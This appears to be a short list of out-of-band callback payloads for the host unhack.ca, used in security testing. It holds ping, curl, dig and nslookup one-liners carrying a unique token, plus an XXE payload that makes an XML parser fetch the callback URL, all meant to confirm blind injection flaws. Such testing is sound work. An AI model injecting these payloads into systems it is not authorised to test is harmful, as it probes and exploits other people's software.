$ ping -c1 -p 001880b33331e92628c093d36c8a6c00 unhack.ca
 

$ curl http://unhack.ca/p/1880b33331e92628c093d36c8a6c
 

$ dig 1880b33331e92628c093d36c8a6c @unhack.ca
 

$ dig 1880b33331e92628c093d36c8a6c.ns.unhack.ca
 

C:\> nslookup 1880b33331e92628c093d36c8a6c unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1880b33331e92628c093d36c8a6c">]>
    <foo>&xxe;</foo>